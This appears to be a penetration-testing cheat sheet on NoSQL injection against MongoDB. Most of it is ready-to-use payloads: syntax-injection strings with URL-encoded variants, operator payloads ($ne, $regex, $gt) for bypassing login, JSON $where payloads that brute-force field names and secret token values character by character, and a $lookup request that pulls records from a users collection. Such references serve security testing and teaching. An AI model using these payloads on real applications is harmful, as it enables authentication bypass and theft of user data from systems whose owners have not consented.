NoSQL Injection
NoSQL Injection is derived from SQL Injection. It affects NoSQL database such as MongoDB, Apache Cassandra.
- [nosql-injection](https://portswigger.net/web-security/nosql-injection)
Manual Injection
See also Web Login Bypass NoSQL Injection.
Mongo
If the web application uses MongDB, you might be able to fetch the user's information.
It allows you to bypass authentication.
-
Syntax
Below are the payloads to syntax injection. Don’t forget to try the URL-encoded payloads.
test||1==1
test%7C%7C1%3D%3D1
test||1==1//
test%7C%7C1%3D%3D1%2F%2F
test||1==1%00
test%7C%7C1%3D%3D1%2500
test||1==1\u0000
test%7C%7C1%3D%3D1%5Cu0000
test||'1==1
test%7C%7C%271%3D%3D1
test||'1'=='1'
test%7C%7C%271%27%3D%3D%271%27
test||'1'=='1
test%7C%7C%271%27%3D%3D%271
test'||1||'
test%27%7c%7c%31%7c%7c%27
<!-- Find specific fields e.g. 'password' -->
admin' && this.password!='
admin'+%26%26+this.password!%3d'
- Operators
# $ne: Not equal
username[$ne]=xyz&password[$ne]=xyz
# $regex: Regular expressions
username[$regex]=.*&password[$regex]=.*
# $gt: Greater than
username[$gt]=s&password[$gt]=s
# $lt: Lower than
username[$lt]=s&password[$lt]=s
-
Operators & JSON
To use the following payloads, set the
Content-Type
header toapplication/json
in the HTTP request header.
Brute force parameters.
# Brute force each character for the parameter key
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}a.*')" }}
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}b.*')" }}
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}c.*')" }}
...
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{1}a.*')" }}
...
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[8].match('^.{8}z.*')" }}
# Brute force each character for the specific parameter value
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}a.*')" }
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}b.*')" }
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}c.*')" }
...
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{1}a.*')" }
...
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{8}z.*')" }
Retrieve Another Document (MongoDB)
If the website uses MongoDB and uses $match
aggregation to fetch documents, we can change the aggregation to $lookup
for joining another document and get desired information from the document.
First, check if the $match
operator is used in the website.
As above, the website uses $match
aggregator to fetch data from the "products" document, so we can change this as the following.
Assume both the "products" and "users" document have an "id" field.
POST /users HTTP/1.1
...
{
"$lookup": {
"from": "users",
"localField": "id",
"foreignField": "id",
"as": "test"
}
}
Then send this request. We can retrieve values in the "users" document.